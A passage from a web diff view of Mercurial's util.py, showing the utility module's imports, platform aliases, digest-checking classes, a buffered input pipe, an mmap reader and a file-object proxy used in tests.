##// END OF EJS Templates
re2: byteify some regex used to get check re2 availability...
marmoute -
r47271:ebc6d348 stable
parent child Browse files
Show More
@@ -1,3669 +1,3669 b''
1 # util.py - Mercurial utility functions and platform specific implementations
1 # util.py - Mercurial utility functions and platform specific implementations
2 #
2 #
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
6 #
6 #
7 # This software may be used and distributed according to the terms of the
7 # This software may be used and distributed according to the terms of the
8 # GNU General Public License version 2 or any later version.
8 # GNU General Public License version 2 or any later version.
9
9
10 """Mercurial utility functions and platform specific implementations.
10 """Mercurial utility functions and platform specific implementations.
11
11
12 This contains helper routines that are independent of the SCM core and
12 This contains helper routines that are independent of the SCM core and
13 hide platform-specific details from the core.
13 hide platform-specific details from the core.
14 """
14 """
15
15
16 from __future__ import absolute_import, print_function
16 from __future__ import absolute_import, print_function
17
17
18 import abc
18 import abc
19 import collections
19 import collections
20 import contextlib
20 import contextlib
21 import errno
21 import errno
22 import gc
22 import gc
23 import hashlib
23 import hashlib
24 import itertools
24 import itertools
25 import locale
25 import locale
26 import mmap
26 import mmap
27 import os
27 import os
28 import platform as pyplatform
28 import platform as pyplatform
29 import re as remod
29 import re as remod
30 import shutil
30 import shutil
31 import socket
31 import socket
32 import stat
32 import stat
33 import sys
33 import sys
34 import time
34 import time
35 import traceback
35 import traceback
36 import warnings
36 import warnings
37
37
38 from .thirdparty import attr
38 from .thirdparty import attr
39 from .pycompat import (
39 from .pycompat import (
40 delattr,
40 delattr,
41 getattr,
41 getattr,
42 open,
42 open,
43 setattr,
43 setattr,
44 )
44 )
45 from .node import hex
45 from .node import hex
46 from hgdemandimport import tracing
46 from hgdemandimport import tracing
47 from . import (
47 from . import (
48 encoding,
48 encoding,
49 error,
49 error,
50 i18n,
50 i18n,
51 policy,
51 policy,
52 pycompat,
52 pycompat,
53 urllibcompat,
53 urllibcompat,
54 )
54 )
55 from .utils import (
55 from .utils import (
56 compression,
56 compression,
57 hashutil,
57 hashutil,
58 procutil,
58 procutil,
59 stringutil,
59 stringutil,
60 )
60 )
61
61
62 base85 = policy.importmod('base85')
62 base85 = policy.importmod('base85')
63 osutil = policy.importmod('osutil')
63 osutil = policy.importmod('osutil')
64
64
65 b85decode = base85.b85decode
65 b85decode = base85.b85decode
66 b85encode = base85.b85encode
66 b85encode = base85.b85encode
67
67
68 cookielib = pycompat.cookielib
68 cookielib = pycompat.cookielib
69 httplib = pycompat.httplib
69 httplib = pycompat.httplib
70 pickle = pycompat.pickle
70 pickle = pycompat.pickle
71 safehasattr = pycompat.safehasattr
71 safehasattr = pycompat.safehasattr
72 socketserver = pycompat.socketserver
72 socketserver = pycompat.socketserver
73 bytesio = pycompat.bytesio
73 bytesio = pycompat.bytesio
74 # TODO deprecate stringio name, as it is a lie on Python 3.
74 # TODO deprecate stringio name, as it is a lie on Python 3.
75 stringio = bytesio
75 stringio = bytesio
76 xmlrpclib = pycompat.xmlrpclib
76 xmlrpclib = pycompat.xmlrpclib
77
77
78 httpserver = urllibcompat.httpserver
78 httpserver = urllibcompat.httpserver
79 urlerr = urllibcompat.urlerr
79 urlerr = urllibcompat.urlerr
80 urlreq = urllibcompat.urlreq
80 urlreq = urllibcompat.urlreq
81
81
82 # workaround for win32mbcs
82 # workaround for win32mbcs
83 _filenamebytestr = pycompat.bytestr
83 _filenamebytestr = pycompat.bytestr
84
84
85 if pycompat.iswindows:
85 if pycompat.iswindows:
86 from . import windows as platform
86 from . import windows as platform
87 else:
87 else:
88 from . import posix as platform
88 from . import posix as platform
89
89
90 _ = i18n._
90 _ = i18n._
91
91
92 bindunixsocket = platform.bindunixsocket
92 bindunixsocket = platform.bindunixsocket
93 cachestat = platform.cachestat
93 cachestat = platform.cachestat
94 checkexec = platform.checkexec
94 checkexec = platform.checkexec
95 checklink = platform.checklink
95 checklink = platform.checklink
96 copymode = platform.copymode
96 copymode = platform.copymode
97 expandglobs = platform.expandglobs
97 expandglobs = platform.expandglobs
98 getfsmountpoint = platform.getfsmountpoint
98 getfsmountpoint = platform.getfsmountpoint
99 getfstype = platform.getfstype
99 getfstype = platform.getfstype
100 groupmembers = platform.groupmembers
100 groupmembers = platform.groupmembers
101 groupname = platform.groupname
101 groupname = platform.groupname
102 isexec = platform.isexec
102 isexec = platform.isexec
103 isowner = platform.isowner
103 isowner = platform.isowner
104 listdir = osutil.listdir
104 listdir = osutil.listdir
105 localpath = platform.localpath
105 localpath = platform.localpath
106 lookupreg = platform.lookupreg
106 lookupreg = platform.lookupreg
107 makedir = platform.makedir
107 makedir = platform.makedir
108 nlinks = platform.nlinks
108 nlinks = platform.nlinks
109 normpath = platform.normpath
109 normpath = platform.normpath
110 normcase = platform.normcase
110 normcase = platform.normcase
111 normcasespec = platform.normcasespec
111 normcasespec = platform.normcasespec
112 normcasefallback = platform.normcasefallback
112 normcasefallback = platform.normcasefallback
113 openhardlinks = platform.openhardlinks
113 openhardlinks = platform.openhardlinks
114 oslink = platform.oslink
114 oslink = platform.oslink
115 parsepatchoutput = platform.parsepatchoutput
115 parsepatchoutput = platform.parsepatchoutput
116 pconvert = platform.pconvert
116 pconvert = platform.pconvert
117 poll = platform.poll
117 poll = platform.poll
118 posixfile = platform.posixfile
118 posixfile = platform.posixfile
119 readlink = platform.readlink
119 readlink = platform.readlink
120 rename = platform.rename
120 rename = platform.rename
121 removedirs = platform.removedirs
121 removedirs = platform.removedirs
122 samedevice = platform.samedevice
122 samedevice = platform.samedevice
123 samefile = platform.samefile
123 samefile = platform.samefile
124 samestat = platform.samestat
124 samestat = platform.samestat
125 setflags = platform.setflags
125 setflags = platform.setflags
126 split = platform.split
126 split = platform.split
127 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
127 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
128 statisexec = platform.statisexec
128 statisexec = platform.statisexec
129 statislink = platform.statislink
129 statislink = platform.statislink
130 umask = platform.umask
130 umask = platform.umask
131 unlink = platform.unlink
131 unlink = platform.unlink
132 username = platform.username
132 username = platform.username
133
133
134
134
135 def setumask(val):
135 def setumask(val):
136 ''' updates the umask. used by chg server '''
136 ''' updates the umask. used by chg server '''
137 if pycompat.iswindows:
137 if pycompat.iswindows:
138 return
138 return
139 os.umask(val)
139 os.umask(val)
140 global umask
140 global umask
141 platform.umask = umask = val & 0o777
141 platform.umask = umask = val & 0o777
142
142
143
143
144 # small compat layer
144 # small compat layer
145 compengines = compression.compengines
145 compengines = compression.compengines
146 SERVERROLE = compression.SERVERROLE
146 SERVERROLE = compression.SERVERROLE
147 CLIENTROLE = compression.CLIENTROLE
147 CLIENTROLE = compression.CLIENTROLE
148
148
149 try:
149 try:
150 recvfds = osutil.recvfds
150 recvfds = osutil.recvfds
151 except AttributeError:
151 except AttributeError:
152 pass
152 pass
153
153
154 # Python compatibility
154 # Python compatibility
155
155
156 _notset = object()
156 _notset = object()
157
157
158
158
159 def bitsfrom(container):
159 def bitsfrom(container):
160 bits = 0
160 bits = 0
161 for bit in container:
161 for bit in container:
162 bits |= bit
162 bits |= bit
163 return bits
163 return bits
164
164
165
165
166 # python 2.6 still have deprecation warning enabled by default. We do not want
166 # python 2.6 still have deprecation warning enabled by default. We do not want
167 # to display anything to standard user so detect if we are running test and
167 # to display anything to standard user so detect if we are running test and
168 # only use python deprecation warning in this case.
168 # only use python deprecation warning in this case.
169 _dowarn = bool(encoding.environ.get(b'HGEMITWARNINGS'))
169 _dowarn = bool(encoding.environ.get(b'HGEMITWARNINGS'))
170 if _dowarn:
170 if _dowarn:
171 # explicitly unfilter our warning for python 2.7
171 # explicitly unfilter our warning for python 2.7
172 #
172 #
173 # The option of setting PYTHONWARNINGS in the test runner was investigated.
173 # The option of setting PYTHONWARNINGS in the test runner was investigated.
174 # However, module name set through PYTHONWARNINGS was exactly matched, so
174 # However, module name set through PYTHONWARNINGS was exactly matched, so
175 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
175 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
176 # makes the whole PYTHONWARNINGS thing useless for our usecase.
176 # makes the whole PYTHONWARNINGS thing useless for our usecase.
177 warnings.filterwarnings('default', '', DeprecationWarning, 'mercurial')
177 warnings.filterwarnings('default', '', DeprecationWarning, 'mercurial')
178 warnings.filterwarnings('default', '', DeprecationWarning, 'hgext')
178 warnings.filterwarnings('default', '', DeprecationWarning, 'hgext')
179 warnings.filterwarnings('default', '', DeprecationWarning, 'hgext3rd')
179 warnings.filterwarnings('default', '', DeprecationWarning, 'hgext3rd')
180 if _dowarn and pycompat.ispy3:
180 if _dowarn and pycompat.ispy3:
181 # silence warning emitted by passing user string to re.sub()
181 # silence warning emitted by passing user string to re.sub()
182 warnings.filterwarnings(
182 warnings.filterwarnings(
183 'ignore', 'bad escape', DeprecationWarning, 'mercurial'
183 'ignore', 'bad escape', DeprecationWarning, 'mercurial'
184 )
184 )
185 warnings.filterwarnings(
185 warnings.filterwarnings(
186 'ignore', 'invalid escape sequence', DeprecationWarning, 'mercurial'
186 'ignore', 'invalid escape sequence', DeprecationWarning, 'mercurial'
187 )
187 )
188 # TODO: reinvent imp.is_frozen()
188 # TODO: reinvent imp.is_frozen()
189 warnings.filterwarnings(
189 warnings.filterwarnings(
190 'ignore',
190 'ignore',
191 'the imp module is deprecated',
191 'the imp module is deprecated',
192 DeprecationWarning,
192 DeprecationWarning,
193 'mercurial',
193 'mercurial',
194 )
194 )
195
195
196
196
197 def nouideprecwarn(msg, version, stacklevel=1):
197 def nouideprecwarn(msg, version, stacklevel=1):
198 """Issue an python native deprecation warning
198 """Issue an python native deprecation warning
199
199
200 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
200 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
201 """
201 """
202 if _dowarn:
202 if _dowarn:
203 msg += (
203 msg += (
204 b"\n(compatibility will be dropped after Mercurial-%s,"
204 b"\n(compatibility will be dropped after Mercurial-%s,"
205 b" update your code.)"
205 b" update your code.)"
206 ) % version
206 ) % version
207 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
207 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
208 # on python 3 with chg, we will need to explicitly flush the output
208 # on python 3 with chg, we will need to explicitly flush the output
209 sys.stderr.flush()
209 sys.stderr.flush()
210
210
211
211
212 DIGESTS = {
212 DIGESTS = {
213 b'md5': hashlib.md5,
213 b'md5': hashlib.md5,
214 b'sha1': hashutil.sha1,
214 b'sha1': hashutil.sha1,
215 b'sha512': hashlib.sha512,
215 b'sha512': hashlib.sha512,
216 }
216 }
217 # List of digest types from strongest to weakest
217 # List of digest types from strongest to weakest
218 DIGESTS_BY_STRENGTH = [b'sha512', b'sha1', b'md5']
218 DIGESTS_BY_STRENGTH = [b'sha512', b'sha1', b'md5']
219
219
220 for k in DIGESTS_BY_STRENGTH:
220 for k in DIGESTS_BY_STRENGTH:
221 assert k in DIGESTS
221 assert k in DIGESTS
222
222
223
223
224 class digester(object):
224 class digester(object):
225 """helper to compute digests.
225 """helper to compute digests.
226
226
227 This helper can be used to compute one or more digests given their name.
227 This helper can be used to compute one or more digests given their name.
228
228
229 >>> d = digester([b'md5', b'sha1'])
229 >>> d = digester([b'md5', b'sha1'])
230 >>> d.update(b'foo')
230 >>> d.update(b'foo')
231 >>> [k for k in sorted(d)]
231 >>> [k for k in sorted(d)]
232 ['md5', 'sha1']
232 ['md5', 'sha1']
233 >>> d[b'md5']
233 >>> d[b'md5']
234 'acbd18db4cc2f85cedef654fccc4a4d8'
234 'acbd18db4cc2f85cedef654fccc4a4d8'
235 >>> d[b'sha1']
235 >>> d[b'sha1']
236 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
236 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
237 >>> digester.preferred([b'md5', b'sha1'])
237 >>> digester.preferred([b'md5', b'sha1'])
238 'sha1'
238 'sha1'
239 """
239 """
240
240
241 def __init__(self, digests, s=b''):
241 def __init__(self, digests, s=b''):
242 self._hashes = {}
242 self._hashes = {}
243 for k in digests:
243 for k in digests:
244 if k not in DIGESTS:
244 if k not in DIGESTS:
245 raise error.Abort(_(b'unknown digest type: %s') % k)
245 raise error.Abort(_(b'unknown digest type: %s') % k)
246 self._hashes[k] = DIGESTS[k]()
246 self._hashes[k] = DIGESTS[k]()
247 if s:
247 if s:
248 self.update(s)
248 self.update(s)
249
249
250 def update(self, data):
250 def update(self, data):
251 for h in self._hashes.values():
251 for h in self._hashes.values():
252 h.update(data)
252 h.update(data)
253
253
254 def __getitem__(self, key):
254 def __getitem__(self, key):
255 if key not in DIGESTS:
255 if key not in DIGESTS:
256 raise error.Abort(_(b'unknown digest type: %s') % k)
256 raise error.Abort(_(b'unknown digest type: %s') % k)
257 return hex(self._hashes[key].digest())
257 return hex(self._hashes[key].digest())
258
258
259 def __iter__(self):
259 def __iter__(self):
260 return iter(self._hashes)
260 return iter(self._hashes)
261
261
262 @staticmethod
262 @staticmethod
263 def preferred(supported):
263 def preferred(supported):
264 """returns the strongest digest type in both supported and DIGESTS."""
264 """returns the strongest digest type in both supported and DIGESTS."""
265
265
266 for k in DIGESTS_BY_STRENGTH:
266 for k in DIGESTS_BY_STRENGTH:
267 if k in supported:
267 if k in supported:
268 return k
268 return k
269 return None
269 return None
270
270
271
271
272 class digestchecker(object):
272 class digestchecker(object):
273 """file handle wrapper that additionally checks content against a given
273 """file handle wrapper that additionally checks content against a given
274 size and digests.
274 size and digests.
275
275
276 d = digestchecker(fh, size, {'md5': '...'})
276 d = digestchecker(fh, size, {'md5': '...'})
277
277
278 When multiple digests are given, all of them are validated.
278 When multiple digests are given, all of them are validated.
279 """
279 """
280
280
281 def __init__(self, fh, size, digests):
281 def __init__(self, fh, size, digests):
282 self._fh = fh
282 self._fh = fh
283 self._size = size
283 self._size = size
284 self._got = 0
284 self._got = 0
285 self._digests = dict(digests)
285 self._digests = dict(digests)
286 self._digester = digester(self._digests.keys())
286 self._digester = digester(self._digests.keys())
287
287
288 def read(self, length=-1):
288 def read(self, length=-1):
289 content = self._fh.read(length)
289 content = self._fh.read(length)
290 self._digester.update(content)
290 self._digester.update(content)
291 self._got += len(content)
291 self._got += len(content)
292 return content
292 return content
293
293
294 def validate(self):
294 def validate(self):
295 if self._size != self._got:
295 if self._size != self._got:
296 raise error.Abort(
296 raise error.Abort(
297 _(b'size mismatch: expected %d, got %d')
297 _(b'size mismatch: expected %d, got %d')
298 % (self._size, self._got)
298 % (self._size, self._got)
299 )
299 )
300 for k, v in self._digests.items():
300 for k, v in self._digests.items():
301 if v != self._digester[k]:
301 if v != self._digester[k]:
302 # i18n: first parameter is a digest name
302 # i18n: first parameter is a digest name
303 raise error.Abort(
303 raise error.Abort(
304 _(b'%s mismatch: expected %s, got %s')
304 _(b'%s mismatch: expected %s, got %s')
305 % (k, v, self._digester[k])
305 % (k, v, self._digester[k])
306 )
306 )
307
307
308
308
309 try:
309 try:
310 buffer = buffer
310 buffer = buffer
311 except NameError:
311 except NameError:
312
312
313 def buffer(sliceable, offset=0, length=None):
313 def buffer(sliceable, offset=0, length=None):
314 if length is not None:
314 if length is not None:
315 return memoryview(sliceable)[offset : offset + length]
315 return memoryview(sliceable)[offset : offset + length]
316 return memoryview(sliceable)[offset:]
316 return memoryview(sliceable)[offset:]
317
317
318
318
319 _chunksize = 4096
319 _chunksize = 4096
320
320
321
321
322 class bufferedinputpipe(object):
322 class bufferedinputpipe(object):
323 """a manually buffered input pipe
323 """a manually buffered input pipe
324
324
325 Python will not let us use buffered IO and lazy reading with 'polling' at
325 Python will not let us use buffered IO and lazy reading with 'polling' at
326 the same time. We cannot probe the buffer state and select will not detect
326 the same time. We cannot probe the buffer state and select will not detect
327 that data are ready to read if they are already buffered.
327 that data are ready to read if they are already buffered.
328
328
329 This class let us work around that by implementing its own buffering
329 This class let us work around that by implementing its own buffering
330 (allowing efficient readline) while offering a way to know if the buffer is
330 (allowing efficient readline) while offering a way to know if the buffer is
331 empty from the output (allowing collaboration of the buffer with polling).
331 empty from the output (allowing collaboration of the buffer with polling).
332
332
333 This class lives in the 'util' module because it makes use of the 'os'
333 This class lives in the 'util' module because it makes use of the 'os'
334 module from the python stdlib.
334 module from the python stdlib.
335 """
335 """
336
336
337 def __new__(cls, fh):
337 def __new__(cls, fh):
338 # If we receive a fileobjectproxy, we need to use a variation of this
338 # If we receive a fileobjectproxy, we need to use a variation of this
339 # class that notifies observers about activity.
339 # class that notifies observers about activity.
340 if isinstance(fh, fileobjectproxy):
340 if isinstance(fh, fileobjectproxy):
341 cls = observedbufferedinputpipe
341 cls = observedbufferedinputpipe
342
342
343 return super(bufferedinputpipe, cls).__new__(cls)
343 return super(bufferedinputpipe, cls).__new__(cls)
344
344
345 def __init__(self, input):
345 def __init__(self, input):
346 self._input = input
346 self._input = input
347 self._buffer = []
347 self._buffer = []
348 self._eof = False
348 self._eof = False
349 self._lenbuf = 0
349 self._lenbuf = 0
350
350
351 @property
351 @property
352 def hasbuffer(self):
352 def hasbuffer(self):
353 """True is any data is currently buffered
353 """True is any data is currently buffered
354
354
355 This will be used externally a pre-step for polling IO. If there is
355 This will be used externally a pre-step for polling IO. If there is
356 already data then no polling should be set in place."""
356 already data then no polling should be set in place."""
357 return bool(self._buffer)
357 return bool(self._buffer)
358
358
359 @property
359 @property
360 def closed(self):
360 def closed(self):
361 return self._input.closed
361 return self._input.closed
362
362
363 def fileno(self):
363 def fileno(self):
364 return self._input.fileno()
364 return self._input.fileno()
365
365
366 def close(self):
366 def close(self):
367 return self._input.close()
367 return self._input.close()
368
368
369 def read(self, size):
369 def read(self, size):
370 while (not self._eof) and (self._lenbuf < size):
370 while (not self._eof) and (self._lenbuf < size):
371 self._fillbuffer()
371 self._fillbuffer()
372 return self._frombuffer(size)
372 return self._frombuffer(size)
373
373
374 def unbufferedread(self, size):
374 def unbufferedread(self, size):
375 if not self._eof and self._lenbuf == 0:
375 if not self._eof and self._lenbuf == 0:
376 self._fillbuffer(max(size, _chunksize))
376 self._fillbuffer(max(size, _chunksize))
377 return self._frombuffer(min(self._lenbuf, size))
377 return self._frombuffer(min(self._lenbuf, size))
378
378
379 def readline(self, *args, **kwargs):
379 def readline(self, *args, **kwargs):
380 if len(self._buffer) > 1:
380 if len(self._buffer) > 1:
381 # this should not happen because both read and readline end with a
381 # this should not happen because both read and readline end with a
382 # _frombuffer call that collapse it.
382 # _frombuffer call that collapse it.
383 self._buffer = [b''.join(self._buffer)]
383 self._buffer = [b''.join(self._buffer)]
384 self._lenbuf = len(self._buffer[0])
384 self._lenbuf = len(self._buffer[0])
385 lfi = -1
385 lfi = -1
386 if self._buffer:
386 if self._buffer:
387 lfi = self._buffer[-1].find(b'\n')
387 lfi = self._buffer[-1].find(b'\n')
388 while (not self._eof) and lfi < 0:
388 while (not self._eof) and lfi < 0:
389 self._fillbuffer()
389 self._fillbuffer()
390 if self._buffer:
390 if self._buffer:
391 lfi = self._buffer[-1].find(b'\n')
391 lfi = self._buffer[-1].find(b'\n')
392 size = lfi + 1
392 size = lfi + 1
393 if lfi < 0: # end of file
393 if lfi < 0: # end of file
394 size = self._lenbuf
394 size = self._lenbuf
395 elif len(self._buffer) > 1:
395 elif len(self._buffer) > 1:
396 # we need to take previous chunks into account
396 # we need to take previous chunks into account
397 size += self._lenbuf - len(self._buffer[-1])
397 size += self._lenbuf - len(self._buffer[-1])
398 return self._frombuffer(size)
398 return self._frombuffer(size)
399
399
400 def _frombuffer(self, size):
400 def _frombuffer(self, size):
401 """return at most 'size' data from the buffer
401 """return at most 'size' data from the buffer
402
402
403 The data are removed from the buffer."""
403 The data are removed from the buffer."""
404 if size == 0 or not self._buffer:
404 if size == 0 or not self._buffer:
405 return b''
405 return b''
406 buf = self._buffer[0]
406 buf = self._buffer[0]
407 if len(self._buffer) > 1:
407 if len(self._buffer) > 1:
408 buf = b''.join(self._buffer)
408 buf = b''.join(self._buffer)
409
409
410 data = buf[:size]
410 data = buf[:size]
411 buf = buf[len(data) :]
411 buf = buf[len(data) :]
412 if buf:
412 if buf:
413 self._buffer = [buf]
413 self._buffer = [buf]
414 self._lenbuf = len(buf)
414 self._lenbuf = len(buf)
415 else:
415 else:
416 self._buffer = []
416 self._buffer = []
417 self._lenbuf = 0
417 self._lenbuf = 0
418 return data
418 return data
419
419
420 def _fillbuffer(self, size=_chunksize):
420 def _fillbuffer(self, size=_chunksize):
421 """read data to the buffer"""
421 """read data to the buffer"""
422 data = os.read(self._input.fileno(), size)
422 data = os.read(self._input.fileno(), size)
423 if not data:
423 if not data:
424 self._eof = True
424 self._eof = True
425 else:
425 else:
426 self._lenbuf += len(data)
426 self._lenbuf += len(data)
427 self._buffer.append(data)
427 self._buffer.append(data)
428
428
429 return data
429 return data
430
430
431
431
432 def mmapread(fp, size=None):
432 def mmapread(fp, size=None):
433 if size == 0:
433 if size == 0:
434 # size of 0 to mmap.mmap() means "all data"
434 # size of 0 to mmap.mmap() means "all data"
435 # rather than "zero bytes", so special case that.
435 # rather than "zero bytes", so special case that.
436 return b''
436 return b''
437 elif size is None:
437 elif size is None:
438 size = 0
438 size = 0
439 try:
439 try:
440 fd = getattr(fp, 'fileno', lambda: fp)()
440 fd = getattr(fp, 'fileno', lambda: fp)()
441 return mmap.mmap(fd, size, access=mmap.ACCESS_READ)
441 return mmap.mmap(fd, size, access=mmap.ACCESS_READ)
442 except ValueError:
442 except ValueError:
443 # Empty files cannot be mmapped, but mmapread should still work. Check
443 # Empty files cannot be mmapped, but mmapread should still work. Check
444 # if the file is empty, and if so, return an empty buffer.
444 # if the file is empty, and if so, return an empty buffer.
445 if os.fstat(fd).st_size == 0:
445 if os.fstat(fd).st_size == 0:
446 return b''
446 return b''
447 raise
447 raise
448
448
449
449
450 class fileobjectproxy(object):
450 class fileobjectproxy(object):
451 """A proxy around file objects that tells a watcher when events occur.
451 """A proxy around file objects that tells a watcher when events occur.
452
452
453 This type is intended to only be used for testing purposes. Think hard
453 This type is intended to only be used for testing purposes. Think hard
454 before using it in important code.
454 before using it in important code.
455 """
455 """
456
456
457 __slots__ = (
457 __slots__ = (
458 '_orig',
458 '_orig',
459 '_observer',
459 '_observer',
460 )
460 )
461
461
462 def __init__(self, fh, observer):
462 def __init__(self, fh, observer):
463 object.__setattr__(self, '_orig', fh)
463 object.__setattr__(self, '_orig', fh)
464 object.__setattr__(self, '_observer', observer)
464 object.__setattr__(self, '_observer', observer)
465
465
466 def __getattribute__(self, name):
466 def __getattribute__(self, name):
467 ours = {
467 ours = {
468 '_observer',
468 '_observer',
469 # IOBase
469 # IOBase
470 'close',
470 'close',
471 # closed if a property
471 # closed if a property
472 'fileno',
472 'fileno',
473 'flush',
473 'flush',
474 'isatty',
474 'isatty',
475 'readable',
475 'readable',
476 'readline',
476 'readline',
477 'readlines',
477 'readlines',
478 'seek',
478 'seek',
479 'seekable',
479 'seekable',
480 'tell',
480 'tell',
481 'truncate',
481 'truncate',
482 'writable',
482 'writable',
483 'writelines',
483 'writelines',
484 # RawIOBase
484 # RawIOBase
485 'read',
485 'read',
486 'readall',
486 'readall',
487 'readinto',
487 'readinto',
488 'write',
488 'write',
489 # BufferedIOBase
489 # BufferedIOBase
490 # raw is a property
490 # raw is a property
491 'detach',
491 'detach',
492 # read defined above
492 # read defined above
493 'read1',
493 'read1',
494 # readinto defined above
494 # readinto defined above
495 # write defined above
495 # write defined above
496 }
496 }
497
497
498 # We only observe some methods.
498 # We only observe some methods.
499 if name in ours:
499 if name in ours:
500 return object.__getattribute__(self, name)
500 return object.__getattribute__(self, name)
501
501
502 return getattr(object.__getattribute__(self, '_orig'), name)
502 return getattr(object.__getattribute__(self, '_orig'), name)
503
503
504 def __nonzero__(self):
504 def __nonzero__(self):
505 return bool(object.__getattribute__(self, '_orig'))
505 return bool(object.__getattribute__(self, '_orig'))
506
506
507 __bool__ = __nonzero__
507 __bool__ = __nonzero__
508
508
509 def __delattr__(self, name):
509 def __delattr__(self, name):
510 return delattr(object.__getattribute__(self, '_orig'), name)
510 return delattr(object.__getattribute__(self, '_orig'), name)
511
511
512 def __setattr__(self, name, value):
512 def __setattr__(self, name, value):
513 return setattr(object.__getattribute__(self, '_orig'), name, value)
513 return setattr(object.__getattribute__(self, '_orig'), name, value)
514
514
515 def __iter__(self):
515 def __iter__(self):
516 return object.__getattribute__(self, '_orig').__iter__()
516 return object.__getattribute__(self, '_orig').__iter__()
517
517
518 def _observedcall(self, name, *args, **kwargs):
518 def _observedcall(self, name, *args, **kwargs):
519 # Call the original object.
519 # Call the original object.
520 orig = object.__getattribute__(self, '_orig')
520 orig = object.__getattribute__(self, '_orig')
521 res = getattr(orig, name)(*args, **kwargs)
521 res = getattr(orig, name)(*args, **kwargs)
522
522
523 # Call a method on the observer of the same name with arguments
523 # Call a method on the observer of the same name with arguments
524 # so it can react, log, etc.
524 # so it can react, log, etc.
525 observer = object.__getattribute__(self, '_observer')
525 observer = object.__getattribute__(self, '_observer')
526 fn = getattr(observer, name, None)
526 fn = getattr(observer, name, None)
527 if fn:
527 if fn:
528 fn(res, *args, **kwargs)
528 fn(res, *args, **kwargs)
529
529
530 return res
530 return res
531
531
532 def close(self, *args, **kwargs):
532 def close(self, *args, **kwargs):
533 return object.__getattribute__(self, '_observedcall')(
533 return object.__getattribute__(self, '_observedcall')(
534 'close', *args, **kwargs
534 'close', *args, **kwargs
535 )
535 )
536
536
537 def fileno(self, *args, **kwargs):
537 def fileno(self, *args, **kwargs):
538 return object.__getattribute__(self, '_observedcall')(
538 return object.__getattribute__(self, '_observedcall')(
539 'fileno', *args, **kwargs
539 'fileno', *args, **kwargs
540 )
540 )
541
541
542 def flush(self, *args, **kwargs):
542 def flush(self, *args, **kwargs):
543 return object.__getattribute__(self, '_observedcall')(
543 return object.__getattribute__(self, '_observedcall')(
544 'flush', *args, **kwargs
544 'flush', *args, **kwargs
545 )
545 )
546
546
547 def isatty(self, *args, **kwargs):
547 def isatty(self, *args, **kwargs):
548 return object.__getattribute__(self, '_observedcall')(
548 return object.__getattribute__(self, '_observedcall')(
549 'isatty', *args, **kwargs
549 'isatty', *args, **kwargs
550 )
550 )
551
551
552 def readable(self, *args, **kwargs):
552 def readable(self, *args, **kwargs):
553 return object.__getattribute__(self, '_observedcall')(
553 return object.__getattribute__(self, '_observedcall')(
554 'readable', *args, **kwargs
554 'readable', *args, **kwargs
555 )
555 )
556
556
557 def readline(self, *args, **kwargs):
557 def readline(self, *args, **kwargs):
558 return object.__getattribute__(self, '_observedcall')(
558 return object.__getattribute__(self, '_observedcall')(
559 'readline', *args, **kwargs
559 'readline', *args, **kwargs
560 )
560 )
561
561
562 def readlines(self, *args, **kwargs):
562 def readlines(self, *args, **kwargs):
563 return object.__getattribute__(self, '_observedcall')(
563 return object.__getattribute__(self, '_observedcall')(
564 'readlines', *args, **kwargs
564 'readlines', *args, **kwargs
565 )
565 )
566
566
567 def seek(self, *args, **kwargs):
567 def seek(self, *args, **kwargs):
568 return object.__getattribute__(self, '_observedcall')(
568 return object.__getattribute__(self, '_observedcall')(
569 'seek', *args, **kwargs
569 'seek', *args, **kwargs
570 )
570 )
571
571
572 def seekable(self, *args, **kwargs):
572 def seekable(self, *args, **kwargs):
573 return object.__getattribute__(self, '_observedcall')(
573 return object.__getattribute__(self, '_observedcall')(
574 'seekable', *args, **kwargs
574 'seekable', *args, **kwargs
575 )
575 )
576
576
577 def tell(self, *args, **kwargs):
577 def tell(self, *args, **kwargs):
578 return object.__getattribute__(self, '_observedcall')(
578 return object.__getattribute__(self, '_observedcall')(
579 'tell', *args, **kwargs
579 'tell', *args, **kwargs
580 )
580 )
581
581
582 def truncate(self, *args, **kwargs):
582 def truncate(self, *args, **kwargs):
583 return object.__getattribute__(self, '_observedcall')(
583 return object.__getattribute__(self, '_observedcall')(
584 'truncate', *args, **kwargs
584 'truncate', *args, **kwargs
585 )
585 )
586
586
587 def writable(self, *args, **kwargs):
587 def writable(self, *args, **kwargs):
588 return object.__getattribute__(self, '_observedcall')(
588 return object.__getattribute__(self, '_observedcall')(
589 'writable', *args, **kwargs
589 'writable', *args, **kwargs
590 )
590 )
591
591
592 def writelines(self, *args, **kwargs):
592 def writelines(self, *args, **kwargs):
593 return object.__getattribute__(self, '_observedcall')(
593 return object.__getattribute__(self, '_observedcall')(
594 'writelines', *args, **kwargs
594 'writelines', *args, **kwargs
595 )
595 )
596
596
597 def read(self, *args, **kwargs):
597 def read(self, *args, **kwargs):
598 return object.__getattribute__(self, '_observedcall')(
598 return object.__getattribute__(self, '_observedcall')(
599 'read', *args, **kwargs
599 'read', *args, **kwargs
600 )
600 )
601
601
602 def readall(self, *args, **kwargs):
602 def readall(self, *args, **kwargs):
603 return object.__getattribute__(self, '_observedcall')(
603 return object.__getattribute__(self, '_observedcall')(
604 'readall', *args, **kwargs
604 'readall', *args, **kwargs
605 )
605 )
606
606
607 def readinto(self, *args, **kwargs):
607 def readinto(self, *args, **kwargs):
608 return object.__getattribute__(self, '_observedcall')(
608 return object.__getattribute__(self, '_observedcall')(
609 'readinto', *args, **kwargs
609 'readinto', *args, **kwargs
610 )
610 )
611
611
612 def write(self, *args, **kwargs):
612 def write(self, *args, **kwargs):
613 return object.__getattribute__(self, '_observedcall')(
613 return object.__getattribute__(self, '_observedcall')(
614 'write', *args, **kwargs
